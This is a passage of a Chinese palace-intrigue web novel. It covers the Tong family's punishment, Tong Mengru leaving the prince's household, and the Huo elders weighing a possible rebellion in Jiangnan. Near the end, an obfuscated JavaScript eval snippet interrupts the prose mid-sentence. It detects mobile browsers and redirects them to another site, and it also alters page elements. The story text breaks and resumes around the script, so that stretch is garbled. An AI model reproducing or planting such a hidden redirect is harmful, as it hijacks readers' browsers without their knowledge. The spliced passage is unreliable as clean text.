是郭皇后将自请辞位,霍家抢后位有完美的掩饰有名正言顺的遮羞布,令愔夫人有吗,她闹着你准许她与郭皇后不再会见,还连理由都不肯给,就要闹着你答应她,是视中宫如无物吧?皇后的尊荣源自于皇帝,令愔夫人今日是在闹腾着羞辱皇帝吧?” 嬴忱璧沉默下,走过两步坐到太师椅中,晏霁之只能打圆场:“贵妃,后妃的尊荣皆源自于陛下,令愔夫人是挑衅皇后,与佟家所犯罪孽根本不同,难道贵妃没挑衅过皇后吗,你有什么资格批判人家?从来不少妃子挑衅皇后,臣有理由怀疑您故意愚弄陛下。” 霍灵渠反谴责:“我很有理由怀疑你故意污蔑我,我又没批判她。” “佟家蛊惑蓁蓁觊觎后位时想的定是诱霍家谋害中宫吧,没想到竟然会是郭皇后辞位,没有郭皇后将辞位的震撼应该也撑不起令愔夫人今日对皇后的高姿态。”晏霁之略过争论,补充道:“或许令愔夫人自己并不觉得,只觉是因她被皇后骂了。” 皇帝嬴忱璧静默两息,端起茶盏慢慢喝茶,霍灵渠忽然颓丧:“为何呀,她今早还在帮中宫奔走谋划,她应该很相信大皇子有前途,她应该也没想让她的孩儿跟大皇子争,何苦还要对郭皇后辞位的震撼记忆深刻?” “对他们的思想意愿有利吧。”晏霁之看向皇帝,再补充道:“令愔夫人清高应当不假,但皇宫中传言她将会是陛下您的第三任皇后对她应该也不可能没影响。” 嬴忱璧放下茶盏,神色怔怔有所思:“将来,令愔夫人会想争储位吗?” 言外之意是皇帝不愿意令愔夫人争吗?霍灵渠低眸,像被吓跳般情绪低沉了。 “臣推测,令愔夫人若是恩宠不衰,嫔妃中又属她的位份最高时,她的期待或许是陛下您会主动把凤冠给她。”晏霁之当然懂皇帝当前是真想把储君位给霍皇后的儿子。 “换言之,朕和霍皇后恩爱不疑白首终老,她会怨恨朕?”嬴忱璧凤眸微眯,霍灵渠很想怼皇帝,哪来的霍皇后?!但毕竟知道霍皇后就是指霍贵妃晋位,改怼道:“陛下,你这样以凭空臆想来恶意中伤令愔夫人,你不觉得你疑心病太重了吗?” 嬴忱璧看看贵妃,而后略过贵妃转向晏霁之,被明着无视的霍灵渠难以置信地眨眨眼,气闷地闭嘴。晏霁之猜:“令愔夫人心气高,应该不会。”会也不好再说了。 宫人进院来禀告湘王求见,嬴忱璧宣湘王进来,湘王蔫头耷脑地进院,向皇兄行个礼,然后转向霍贵妃,突然燃起斗志:“你给我道歉!你给我道歉,我就原谅你。” 晏霁之瞟瞟湘王,心说:太后是让你来给贵妃道歉吧。 霍灵渠奇怪:“我为什么要给你道歉,我又没做对不住你的事。” 湘王炸毛:“你还好意思说,你对我做过什么事,你心里没点数吗?” “……”嬴忱璧和晏霁之神态微妙地对视眼,晏霁之别过脸,湘王真会引人遐想。 “我对你做过什么事啊?”霍灵渠奇了怪了:“我没对你做过什么事啊。” “还敢说没有,你要点脸吧你。”湘王狠狠谴责:“昨天你把大舅拽走是什么意思,你是看不起我懒得理我还是不屑跟我争辩,你还敢说你没有对不起我。” 嬴忱璧做个深呼吸,晏霁之从果盘里拿果子吃,霍灵渠很好说话,就当哄小孩了:“好,是我对不住表弟,表弟你大人大量,不要跟我计较了。” “哼!”算她识趣,要不然他可没那么好说话,湘王舒缓些,想着母后的耳提面令,赶那两个碍事的:“皇兄你和晏霁之先走吧,我和表姐叙叙旧。” “好,只是贵妃心绪不佳,八弟莫太搅扰贵妃静养。”皇帝嬴忱璧叮嘱过,站起身来,带着外臣走出庭院,然后隐匿在院外再观摩段。 殿前,湘王斜睨着这位足够陌生的表姐,傲娇道:“你是不是不喜欢我?” “……”在暗处隐藏着的皇帝嬴忱璧再深呼吸,晏霁之很想劝湘王,你们只是表姐弟,湘王你这样语出惊人不合适,难怪皇帝对你都不放心还要留着再观察会儿。 “我为什么要不喜欢你呀?”霍灵渠诧异,湘王鄙视:“你敢说你喜欢我吗?” “……”晏霁之真想劝湘王注意措辞,皇帝估计也是很无语。 “嗯,还行吧,姐姐对弟弟的喜欢,还是有一点的吧。”霍灵渠追忆道:“你小时候肉肉的抱着可软乎,我住在宫里时,你天天拽着我的裙子叫我姐姐要跟我玩。” 湘王斥:“撒谎,你怎么可能知道我小时候怎么样?” 霍灵渠美眸弯弯笑容粲然:“我知道呀,你出生时我就抱过你了,我看着你长到三岁,看着你学走路学说话,看着你能跑能跳要跟哥哥姐姐们一起玩,你小时候我经常抱你,就是你后来有些重了,我抱一会儿就有些抱不动你了,经常是陛下抱着你。” 湘王强烈斥:“胡说八道信口开河,我根本不记得你说的事,你分明在骗我。” 霍灵渠失笑:“当时你才三岁,三岁前的往事,你不知道不记得很正常呀。” “我刚出生到我三岁时,你真的抱过我?”湘王有点动摇地将信将疑,霍灵渠应对啊,湘王打量她似乎没有一点心虚的模样,再问:“那时候,皇兄也抱过我?” “嗯,你小时候,我们都抱过你的,悼太子、魏王、陛下、六哥哥、晋王,好多人,我们都抱过你的,你两三岁时可爱玩了,六哥哥经常逗你玩,陛下抱你抱得最多。” “魏王和晋王都抱过我?”湘王嗤之以鼻:“你拿我当傻瓜哄啊,骗子。” 霍灵渠只说:“我们的童年很快乐。” 湘王注视她半响,慢慢就被消了气,再确认遍:“你真的没骗我?”得到个肯定答案,他突然间颓丧:“我也带十弟玩过,我还抱过十弟,我也记得六哥,六哥失踪那年我六岁,我记得六哥的。”他眼酸酸的:“表姐,为什么会变成这样? 为什么要变成这样,大哥死了,二哥死了,十弟死了,四哥和七哥变成死仇,六哥失踪死活不明,还有我好多姐姐妹妹都死了,表姐,为什么要变成这样?” 霍灵渠沉默,隐在院外的两人也沉默,甚至于湘王自己更不是不明白因由,皇权倾轧,至高的权柄有多诱人,皇家骨肉相残就能有多残酷,这大概是个永远难解的死结。 薄暮余晖在不知不觉中渗进黯淡,若明若晦的光线给迟暮将尽的天地又添丝凄清。 皇城前,佟图匡姗姗来迟,一赶到就看见被吊挂在皇城城楼前的六人,他眼前一黑,一个踉跄险些摔倒,亏得佟卓伦及时扶住祖父,虽然佟卓伦也已经摇摇欲坠。 带着长孙跪地接旨,佟图匡握紧拳头握得指节泛白,最糟的情况大概就是他礼部尚书的位置到头了,好在还有孙女,还有妙兮,佟家还有崛起之日,佟图匡不断安慰自己。 “礼部尚书佟图匡家眷擅闯禁宫,恶迹昭彰,罪当处于极刑,朕念及兴献侯与英王世子苦求饶恕佟家死罪,宫中将有皇嗣降生不宜见血腥,特赦死罪,现判:罢佟图匡礼部尚书之职,罢佟梦骜淄州府尹之职,罢佟梦从亳州通判之职,罢佟梦佶茂县县令之职,罢佟卓伦翰林院侍诏之职,消佟妙兮秀女资格,禁佟氏一族两代科举资格,钦此!” 佟家祖孙想过再多后果都没想过会如此严重,这旨意完全在他们承受范围外,佟图匡眼前又一阵发黑,传旨官已再传令:“陛下另交代,闯宫的六人押入京兆府大牢囚禁至月底,但愿他们在牢里能长教训,限佟家三日内搬出御赐给朝廷大员住的尚书府。” 佟卓伦浑身发凉只感到天旋地转的晕眩,佟图匡狠狠咬着舌头让自己定定心神,仰头,特别想挤出点笑意还是挤不出来,老脸只挤出比哭还难看的卑微相求:“大监,这旨意是不是有什么误会,陛下宽仁,定然明白佟家并非闯宫,您让老臣进宫——” “陛下宽仁才会特赦佟家的死罪呀,否则佟老爷子你哪还有命在这里跪着。”传旨官居高临下道:“你晓得你的家眷闯宫时闹出过什么笑话吧,我们妙兮可是要做娘娘的,陛下看在妙兮的份儿上,一家子人做梦做到这种地步,你真不嫌好笑吗? 老太爷你被罢官前是任礼部尚书,不是任梦部尚书吧,陛下认得你佟家姑娘是哪位啊,做白日梦做得都把自家毁了,你就醒醒吧,要不然真得全家成疯子了。” 传旨官给身边的小太监使个眼色,小太监麻利地蹿过去托起佟老头的手臂,传旨官再把圣旨放在佟老头手里,带着随行的宫人们返回皇城里。同时,吊挂在城楼的人犯被放下来,京兆府的三辆囚车已在皇城前就绪,接到人犯,官差们装进囚车便押走。 围聚的看客各自散去,及至看客们散尽,佟家祖孙还维持跪地的姿势,瘫坐着。 远方,天边,落日没尽,黑暗来袭。 110. 第110章 乱云遮繁星,似有还无的沉闷在夜间流窜。 佟家擅闯禁宫的事出来,佟梦如在同个时辰搬家就不合适了,晏霁之派人来问她今夜还出顺郡王府吗?佟梦如很坚定地要走,哪怕顺郡王和世子夫妇都愿意她今夜在郡王府住晚,她也坚持今夜就搬走,世子妃知晓后对这位前继婆婆不由得生出丝感喟。 戌时中,比原定的时刻推迟一个时辰,晏霁之来接小姨,顺郡王府前的送行队列中未见佟梦如的儿女,得知是佟梦如亲自给儿女们用安神汤让孩子们睡下了,他心底泛起丝唏嘘,生离死别,生离的苦,他尝过了,懂得有多苦。 箱笼全部装车后,佟梦如再看眼这座顺郡王府,又再看向在郡王府匾额下给她送行的人,强忍着的酸涩又将要浸红眼睛,她握紧拳头转身狂走,躲进马车里掩面低泣。 晏霁之向着顺郡王父子略略颔首,未再多言,转身走向他的马车,吩咐车队启行。 前行的车轱辘声在空阔的巷陌略显刺耳,顺郡王心里多多少少都有点不好受,稍稍目送会儿便回府里,其他人紧随其后,转眼间府门前唯世子夫妇还留着。 车队消失在转角尽头,顺郡王世子仍还注视着空空的巷陌,心情有些复杂,原以为他和佟梦如还有得斗,没想到就这样结束了。世子妃握丈夫的手,他看向媳妇,世子妃浅笑:“或许我们对她是存了一点点偏见,她有很多不好,但她确实也有好的一面。” 星辰隐没的夜幕下,孜孜照明的红灯笼拂掠过双手交握的身影,添下一份暖意。 抵达城中晏家的别院前,奴婢们再卸车搬箱笼,佟梦如坐在马车里狠狠平复过后,走出车厢向大外甥道谢,晏霁之亲自提着灯笼,请小姨行至远离院门的僻静处,澄清件事。 “小姨嫁给顺郡王的第六年才怀胎是晏家的手笔,晏家请顺郡王世子出面担待了而已,我祖母厌恶佟家总想从晏家挖好处,故而借此给你们添了点小麻烦。” “霁之,你知道讽刺的是什么吗?”沉默会儿,佟梦如自己都甚觉好笑地自嘲:“这对我和我的三个孩子反而是好事,这让他们还小,受佟家的影响小,更能够跟佟家切断,否则你大表妹今日若已是谈婚论嫁的年纪,她当下还能找到什么好人家?” 闻言,晏霁之沉默下未应对,自我纠正道:“以前我一直觉得你们三姐妹中属二姨最有慈母心肠会疼爱儿女,今夜看来是我想错了,小姨你比二姨更有慈母心肠。” 佟梦如摇头:“你没想错,是你二姨比我有慈母心肠多了,尤其是对女儿,我跟你二姨根本没得比,我对我亲生的两个女儿都没怎么疼爱过,我嫌她们怎么不是儿子,但二姐她真疼爱蓁蓁,比对振羽丝毫不差,甚至她对蓁蓁可能还更娇宠些。” “她在霍家享福时,她当然能没有保留地疼爱她的儿女,但今后,当疼爱这双儿女对她没多少用处或者不能再给她多少好处时,佟梦姿还能像以前那般疼爱这双儿女吗?” 晏霁之自问自答道:“不会的,今后,算计、利用、拿捏、威压,恐怕都会排在她对亲生儿女的疼爱前,二姨的慈母心肠更像海市蜃楼吧,看似绚丽,实则经不起一点风吹雨打。在霍家时她疼爱儿女是真心乃至也够纯粹,但细究是有前提的。 是霍漓江毫不吝啬地给振羽和蓁蓁花钱,是振羽和蓁蓁从来没受到过庶弟庶妹的威胁,她用这双儿女能得到太多太多的好处,不需要她做任何的利弊权衡,她就会疼爱儿女。但,今后她的荣华富贵没了,她还能有那么多真心还能不计较得失吗?” 佟梦如难以接受:“二姐疼爱儿女的心又不是假的,怎么会说没就没呢?” “昨日,她威胁霍漓江要带着振羽和蓁蓁和离时,我没多想,今夜回想起来,我恍然意识到她的态度不寻常。”晏霁之淡笑问:“小姨,你觉得有何端倪?” “端倪?”佟梦如奇怪:“什么端倪呀,这事能有什么不寻常?没有啊。” 晏霁之提醒:“倘若是你大姐佟梦娴,给佟梦娴一百一千个胆,她都没胆量威胁晏墉;若是小姨你,你只会求丈夫,若是任你如何苦求都没用,小姨你会舍掉娘家,你是宁可不要娘家都绝不会威胁丈夫,而她竟敢以带着儿女和离来威胁霍漓江。” 佟梦如心里一咯噔,这二姐好像是突然强硬得有些不寻常了:“可能,可能她觉得振羽足够有份量吧,毕竟霍漓江不宠庶子,振羽的地位就是独一份,而且,而且霍漓江一直以来对振羽和蓁蓁真挺疼爱的,她觉得霍漓江会妥协吧。” “妥协?”晏霁之好笑:“小姨,什么样的男人才会在大庭广众下被婆娘踩到脚下,是小姨你不懂这点人情世故呢还是你觉得她不懂,所以你才能说出妥协二字?” “霍家都要跟佟家断亲了,二姐顾不了那么多了吧。”佟梦如再想想,那姐姐强硬也是情有可原吧:“你娘看着张牙舞爪很跋扈,其实她内里很虚,对你爹怕得很;反倒是你二姨看起来温婉柔和,实则外柔内刚,你二姨比你娘会管丈夫多了。” “管?”原来还有这个字,晏霁之算是被点透了:“何以见得?” “你也知道的呀。”佟梦如理所当然道:“你爹十几年前就没再给你娘补贴了,但霍漓江可年年都给你二姨补贴的,而且过些年还能再涨,振羽娶妻后,霍漓江一年给你二姨的补贴都涨到八千两了;你再看看霍漓江的后宅,有哪个小妾庶出得宠吗? 你娘跟你二姨就没得比,满京畿就没几个妇人能比你二姨更会管丈夫了。” “是故,昨日佟梦姿和霍漓江硬刚时的想法应该是,丈夫早已经被她捏着了,还有振羽和蓁蓁做保障,大庭广众也不怕霍漓江会不妥协。”晏霁之推论,佟梦如认同道:“差不多就是这种想法吧,只可惜二姐太心急,反而把她自己给搭进去了。” “那么,小姨觉得佟梦姿作甚要如此心急呢?”晏霁之唇畔溢出丝玩味,佟梦如无语:“霍家都要和佟家断亲了,还能不急吗?你娘是被我按着,不然早强出头了。” “你们姐妹间的攀比心很重吧。”晏霁之语调肯定:“在给佟家尽心出力这点上,小姨你几乎不跟两位姐姐比,但佟梦娴和佟梦姿之间少不了暗自较劲吧?” 佟梦如神情低落下来,就是爹娘把她们带偏的,那对父母根本想毁了她们。 “那么试想,假若佟梦姿昨日能逼迫到霍漓江退让妥协,她在姐妹面前、在娘家面前、在霍漓江面前将能有多高的姿态?”晏霁之循循善诱,佟梦如愣下,像是要触到豁然开朗又像还有团迷雾包裹着:“这也正常,她要是成功了,她就是佟家的大功臣。” “对,她,这当中最根本的是她自己。”晏霁之笑:“你和佟梦娴的底线都是能接受夫家和佟家断亲,她真的不能接受霍家和佟家断亲吗?昨日她的阻拦,一不相求,二不缓和,三不想从长计议徐徐图之,只强硬威胁相逼迫,这是在为佟家着想吗?” “呃…她顾不了那么多了吧,按她的想法她肯定觉得她能成功嘛。”佟梦如猜。 “佟梦姿当然是盘算着她会威胁成功的心思才会去做,但她绝不是顾不了那么多了。”晏霁之嘲讽:“她若是自信已经把丈夫捏着了,她私底下跟霍漓江闹不是更有胜算吗,泥人都有三分血性,二十余年夫妻,她连自己丈夫什么秉性都不清楚吗?” “可?”佟梦如纠结:“可若不是情势紧迫,她顾不了那么多了,还能为什么?” “为她自己呀。”晏霁之合情合理推断:“当众和霍漓江硬刚,既能让她大出风头,她若能成功,她能获得的回报更绝非是她私底下闹得丈夫应允她能比拟的。” 佟梦如怔住,越想越发现她反驳不了啊,晏霁之总结陈词:“故,佟梦姿会和霍漓江硬刚的根本因由不是想为佟家出头而是她想满足她的虚荣心,一个在她明知是紧要时刻还只想先满足自己虚荣心的人,一旦她享的荣华富贵没了,她会变成什么样?” 沉默几息时间,佟梦如苦笑:“霁之,小姨知道自己是个坏胚,你娘更不是什么好东西,但我一直觉得你二姨是我们兄弟姐妹中难得心地不错的人。” “在今夜前,我也这般以为,大概是佟梦姿在霍家过得太舒心了吧。”晏霁之微微仰头遥望苍穹想寻觅星光,然而未果:“今夜,若是她在你的处境,她必定会再住晚,理由更顺当,她舍不得儿女,所以我说,小姨你比她有慈母心肠。” “那二姐以后——”佟梦如收音自嘲,她自己都自顾不暇了,哪儿还有闲情能管别人:“霁之,小姨离开京畿还能去哪儿?我不可能回滁州老家,我还能去哪里呀?” “小舅应该不会再回京畿,就算回来也是悄悄地回不会在人前现身,小姨愿意,我送你去和弟弟会合,小表弟成家前你跟着弟弟过;小姨若是怕触景伤怀不想见小舅,你想好去往何处安家,我送你过去,在当地给你置办产业,你独自清清静静地过吧。” “家里出了这么大的事,何况父亲和生母都还在京畿,梦佶怎么会不回来?”佟梦如能愿意远离京畿后跟着佟梦佶过活的,但这庶弟肯定要回京的呀,这不就不可能了。 “佟梦佶是明白人。”晏霁之淡淡道:“强抢后位无异于羞辱皇帝,你总懂得的吧,是佟家的女儿和外孙女闹出来的祸端,佟家能脱得了干系吗?何况蛊惑蓁蓁觊觎后位就出自佟家啊,皇帝还能放过佟家吗?今日不是佟家败落,是佟家覆灭的开端。” 佟梦如惊住,不管怎么样,哪怕她再不愿意再管父母的死活也总是不愿意佟家覆灭的:“这跟佟家有什么关系,对,是佟家蛊惑蓁蓁和二姐觊觎后位,但,但是霍家做的呀,是霍家在抢后位羞辱陛下,跟佟家能有什么关系,这事怎么能算到佟家头上?” “我是真不知是佟图匡这两年做白日梦做得只会臆想做梦了呢还是他的心思都用在算计姻亲上了以致于他入仕几十载竟然连这么点浅显的道理都看不明白?!” 晏霁之愣是再被此事惹出气来:“佟梦姿是不是姓佟,是不是他佟图匡的嫡亲女儿,是不是佟图匡的嫡亲女儿和外孙女在闹着要抢后位,佟图匡又知不知道强抢后位是羞辱皇帝,他知道了又为何不阻拦,不阻拦就是认同,那还能跟佟家没关系吗? 你们可以说佟家拦过了但拦不住,可皇帝能相信吗?羞辱皇帝要付出什么代价,佟图匡若是真心想阻拦,拿他自己的命去阻拦他女儿或者他亲自送他女儿去死,皇帝就能相信他,可他死了吗?他好好活着,皇帝怎么相信他,既如此,皇帝还能放过佟家吗? 何况蓁蓁会觊觎后位就是出自佟家啊,佟家都敢打这种主意了还能不被清算吗?我不想知道你被娘家影响得有多天真,但小姨最好记住你这种天真是会害死你的。” 佟梦如不胆小仍被吓得心惊肉跳,眼底不自觉蓄起泪光:“可,可,可是是霍家做的呀,难道陛下不怪霍家反而要追究佟家吗?哪有这样的道理啊。” “当然是霍家要担的责任比佟家重,但霍家能自保啊,佟家能吗?是霍太后把皇帝养育长大的,皇帝继位时就记在霍太后名下了,霍太后是皇帝的养母、嫡母、母亲,这事对霍家就是做母亲的要给儿子换个媳妇,做儿子的妥协了还能对外祖家秋后算账吗?” 晏霁之严厉相逼:“佟家能自保吗?佟家不能自保还敢陪着闹不是在找死吗?你总还有清醒的吧,你能和官眷命妇品茶赏花,你的婢女能学你的样跟官眷平起平坐吗?” 佟梦如心苦落泪,是可笑,晏家霍家都比佟家强,可佟家就是不肯把他们放在眼里。 “佟家是做白日梦做得魔怔了,特别是老太太,沉浸在幻想的美梦里不可自拔,今日,她告御状告到擅闯皇城,我细想想就是她的作风,她能安静候着才是奇怪了。” 佟梦如抬起双手按按脸颊,决定道:“我去跟四弟过吧,我在京里留几天,四月末,他们出狱的前一天我再走,我就不与你外祖父外祖母见面了,今后,就那样吧。” “好!” 回到英王府,晏霁之在蔚然居前遇上从岚瑟居过来候着的丫鬟珊瑚,佟太太要见他。 自昨夜佟梦娴被请回岚瑟居被告知她今后在英王府中的生活后就在岚瑟居里闹腾不休,整个屋都被她砸个稀巴烂后,中馈没有给她把相应的器物摆设补上,她要找管家的侄子媳妇但出不得岚瑟居,她愈发火冒三丈更想砸东西,最后是从她自己的库房里补出。 还有膳食,大厨房给她送的是不沾油腻荤腥的素食,佟梦娴正眼都没瞧一眼就全砸了,待到饿得不行后是她自己出银两让大厨房还按原来的膳食给她准备。 因此她更急不可耐地要见晏霁之,时时刻刻都闹着要见,从昨夜到今夜都已不知派下了多少道命令要见晏霁之,见不到,她闹得更凶,如同个恶性循环般就没消停过。 晏霁之没表态径直进院,珊瑚很淡定,靠着院墙小憩,挨到那位睡下了再回去。 夜渐至寂寥,整座英王府都不见零星火苗了,霍家,霍老太爷的书房还灯烛通明。 班丞相就皇帝新得的密报约两位副相和英王、穆国公、显国公远赴城郊密谈,穆国公霍秦川被这个雷砸得甚是忧伤,显国公最坚定地表态:不能打仗,江南绝对不能起战火!最后他们六人协商出:若不得不打这仗,朝廷必须掌控住在一月内扑灭江南的战祸。 霍擎老太爷对他们商议出的结果很沉默,沉默到霍漓江都不耐烦了:“爹,不就是昌隆侯可能要造反,太上皇很可能不相信皇帝的密报,你用得着搞得那么沉重吗?” 闻言,霍擎又惜字如金会儿才缓缓问:“你们哥俩相信江南能起战火吗?” “八成得打起来。”霍漓江散漫道:“这么封直指昌隆侯有反心的密报,太上皇不怀疑是皇帝伪造的想削弱他的势力我都觉得不可思议,皇帝想秘密赐死昌隆侯还可能吗,太上皇若不保住他这表弟还颜面威信何存,但皇帝还能不往死里限制昌隆侯吗? 昌隆侯都肆无忌惮多少年了还能忍得了被限制吗?没准儿他今年就能造反。” “江南若起战火,朝廷想在一个月内扑灭这场战祸,你们得秘密筹备多少,在太上皇没有允许的情况下,不禀告太上皇,你们将要瞒着太上皇做多少事?”霍擎老太爷问:“战事结束后,太上皇还能容忍你们对他如此挑衅吗,他还能不秋后算账吗?” 霍秦川答:“今年,皇帝登基第五年了,明年都是皇帝登基第六个年头了。” “请皇帝奉太上皇颐养天年,皇帝执掌朝堂大权保你们无恙,皇帝能愿意吗?” 霍擎冷嗤:“皇帝不知道他太上皇老爹想长生不老吗?国师送给霍漓江的话是什么,霍家可通知皇帝做好准备,可能明年可能正徽七年,圣人就要挥刀了。 人都把话讲这么明白了,国师很清楚啊,皇帝知道他老爹想长生想除掉他,没准儿就是国师或者蜀王把这消息送给皇帝的,可你看得出来皇帝有异样吗? 太上皇想让皇帝死,皇帝都还在隐忍,出个反贼造反而已,多大点事,能比皇帝自己的命还重要吗,能配让皇帝跟太上皇翻脸吗?更何况,你们若因此就能逼皇帝夺太上皇的权,皇帝能不能顺理成章想你们将来也能那么对他,那你们还能逃得过被宰吗?” 霍秦川脑瓜转得溜,立时想到:“若是江南起战火后不能从速扑灭?” 年过七十的霍擎眼底泛起上位者看尽波云诡谲的笑意,抬抬下巴,老脸非常意味深长,霍秦川背脊一凉冒出股惊悚:“皇帝应该清楚吧,他太上皇老爹不会相信他的密报,那么,太上皇硬要保着昌隆侯,一旦江南起战火,一旦朝廷没做应对,一旦战事持久?” “一旦战事持久,太上皇就得被他这表弟推到风口浪尖,举朝的怨气全得冲着太上皇。”霍漓江啧啧:“对皇帝尽快执掌朝堂简直不要太有裨益,乖乖,皇帝的心思也太深了吧,但朝廷要是真放任,打起来真有危险的,皇帝犯得着为此就冒这么大风险吗?” “是啊,皇帝犯得着冒着国家危亡的风险来打这场仗吗?国家存亡,受波及最大,首当其冲就是皇帝他自己啊。”霍擎老眼深沉:“且看皇帝和太上皇交涉的态度吧,若皇帝强硬,很强硬,强硬到哪怕牺牲忠毅伯府都在所不惜,证明皇帝就是要打这场仗。 那么,当中必有值得皇帝冒着国家存亡风险打这场仗的因由,是咱们想少了。” 霍秦川端起茶盅喝杯茶压压惊,和心思这样深沉的皇帝打交道,他也太辛苦了吧。 “你们哥俩有没有想过,昌隆侯会起反心也许有国师和蜀王在推波助澜?”霍擎头疼,霍漓江愣住,霍秦川被茶水呛住:“爹,他们甥舅俩做啥要诱哄昌隆侯造反?” “造孽啊霍秦川,太上皇把蜀王和昌隆侯的血仇忘得一干二净,你居然也能全忘了?”霍擎想骂都提不起劲儿来:“姬氏一族的深仇大恨啊,你都忘得这么干净吗? 二十四年,蜀王和姬氏族人都没有丁点要报仇的迹象,闹得太上皇都忘记了蜀王和昌隆侯有血仇,要不然他也不能想把蜀王派往北境,可蜀王能忘记吗,国师和姬太妃能忘记吗,按霍漓江推测的,圣人禅位是蜀王和国师的手笔,那么他们的下一步呢?” 未经思索,霍秦川的答案自然而然地就冒出来了:“诛灭朱家满门?!” 霍漓江忍不住扬手拍桌,居然真能给梳理顺畅,这甥舅两个二十几年都在圣人眼皮底下装得跟仇人没差多少,背地里竟然能联手玩得这么溜。 “但,但还是不太对啊。”霍秦川犹虑:“姬家惨祸后,圣人将蜀王变相软禁,姬太妃心如死灰整整十八年不像是假的,何况诲仰会没有本事杀了朱存焳乃至将朱家屠尽吗?若只为报仇,他们犯不着隐忍二十多年吧?二弟,诲仰怎么骗取到圣人的信任的?” “他不报仇,他只想让他哥和他的族人们活过来。”霍漓江说完,他老爹和他老哥神奇地就差没像看傻瓜一样看他,霍漓江摊手:“圣人就是相信了,我有什么办法?” 霍秦川忒想捂脸,霍擎忒想嫌弃那女婿碰到这种乱七八糟的事就真成个二傻子了。 “可能,可能他们甥舅俩早些年不是在装,就是跟仇人没差多少,蜀王恨这小舅假借想让族人们活过来的借口贪生怕死不肯为惨死的族人报仇,前几年才刚刚和解。” 霍漓江眼神幽幽,眼底深处闪烁的是恨:“故,他们联手引得圣人禅位,又把圣人想求长生的消息暗暗透给皇帝知道,再诱惑出昌隆侯的反心要昌隆侯造反。 当年是朱太后下的令,可若没有他的默许,毕竟有蜀王在啊,朱太后和昌隆侯敢猖狂到近乎屠尽整个姬氏一族吗?他不是最恩宠他的外祖家么,若他宠出来的表弟要抢他的江山,他的脸该多有趣,还能有比这更有意思的报仇法吗?” 霍秦川抬手拍拍弟弟的肩膀,霍擎叹息,交代道:“霍漓江啊,你老爹收到消息,蜀王四月初七出蜀地了,不日应会抵达京畿,应该会私下来霍家想要见灵渠。明儿个,你进宫向皇帝请旨,四月二十五让贵妃省亲,不用管你丫头愿不愿意。 霍秦川你明儿个也进宫趟,告诉皇帝,太上皇八成不会相信他的密报,不管皇帝猜不猜得出他太上皇老爹的态度,霍家该提醒陛下的就要提醒。你再告诉皇帝,若是朝廷取消了调护国公回京的旨意,昌隆侯有可能会特地进京来规劝太上皇。” “昌隆侯能因此特地进京来?”霍秦川迟疑:“这不摆明他欲在北境动手脚吗?” “你老子想叫你孙子好哇!”霍擎训道:“你脑子被砸出坑了,你看换成调你镇守北境,人家是不是照样敢让你壮烈牺牲在北疆,你看他还有把谁看在眼里吗,他的想法会是什么:就算人人知道他想吞下北境又如何,谁还能奈何得了他吗?” 霍秦川装委屈:“爹,我知道你偏爱霍漓江,但您也不能偏心到当面诅咒儿子吧?” 霍漓江真受不了这老哥,霍擎也受不了:“滚!都给老子滚!” “您老早些歇着吧。”看霍秦川还想再演演,霍漓江利索地拽着他就走,霍擎老太爷靠在太师椅中,老眼愈显深邃,灯火迷离间,他念起个尘封的名字:姬沛,唉。 夜半惊雷,积压半夜的沉闷化作倾盆大雨倒灌而来,凄厉雨势不知砸醒多少浅眠之人。一夜瓢泼大雨至天明仍未转小,哗哗雨珠砸在屋檐墙壁也将清凉意送进窗牗缝隙。 晏霁之清早醒来,瞥见枕边又散落着几根发丝,他把头发丝收起来,披件外袍,走到窗前推开窗牗看雨哗哗落下,片刻后,他冲外吩咐,让长随去衙门给他告个假。 没两刻钟,晏煦之进屋来:“大哥,我能知道你告假的缘由吗?” “我的寝屋,你进来不合适吧。”晏霁之提醒,晏煦之反嫌:“你屋里有小妾啊我进来不合适,你没事告什么假,你可别告诉我是我想的那样啊。” “屋外在下雨。”晏霁之倦懒道,晏煦之深呼吸:“还真是我想的那样啊,小时候你比姑娘家还娇气就算了,如今你都是个大男人了,你还让自己那么娇气,你觉得合适吗?你将来千万别生女儿,要不然你这当爹的都要比娇滴滴的小闺女还娇气了。” “请你谨记我是在工部,我没少亲自疏浚河道。”晏霁之标榜:“我不娇气。” 晏煦之扭头就走,晏霁之后退两步躺靠在窗边的美人榻里闭目养神,正当心绪宁静时丫鬟在寝屋外禀告,佟太太要见他。他睁眸,看窗前雨落凉意袭人。 隔着重重宫墙远,在这大雨如注的早晨,霍灵渠同样倚在窗前看雨景,霍漓江进殿来,他的贵妃闺女还望着窗前的雨景出神,他利落通知:“四月二十五,贵妃省亲。” 霍灵渠意兴阑珊:“选秀还忙着呢,下个月吧。” “你就殿选时选批秀女,殿选前又不用你费心思,咱家的族人陆陆续续地都快到了,让他们浩浩荡荡进宫来给你请个安, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459302|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 图啥,不嫌招人话柄啊?爹是来通知你,不是跟你商量,爹已经请过陛下的旨意,四月二十五,皇帝会亲自陪你回霍家省亲。” “我回霍家也就罢了,皇帝陪着做啥,不嫌招人话柄啊?”霍灵渠更不得劲儿,霍漓江淡定在桌前落座,喝杯茶说:“这是皇帝自己决定的,又不是你爹决定的。” “你就不能帮我推掉吗?”霍灵渠埋怨爹爹,霍漓江对此全然没有要帮或揽责的意思:“你爹我又无所谓,你不愿意皇帝陪着,你自己跟皇帝说啊。” 霍灵渠郁闷地瞪眼她爹,转念想,交换道:“你帮我去做件事。” “先说什么事吧。”霍漓江懒洋洋地拿银签吃水果,霍灵渠改坐到圆桌前说:“爹爹你出宫后去趟英王府,跟霁之说——”话语未尽被霍漓江打断:“等等等等,爹不帮你送情书,你也收敛点,要不然被皇帝揪住有你受的,你爹我都不想同情你。” “我有正经事,原本今早我想找霁之进宫来的,天下雨了,我才作罢的。”霍灵渠表明,霍漓江不信:“你有正经事找他,还能只因天下雨就作罢吗?” “能啊,天下着雨呢,我派宫人去请他,他不会搭理我的。”霍灵渠有经验道。 霍漓江很好奇:“以前下雨天,爹爹我怎么就没见那混球不出门呢?” 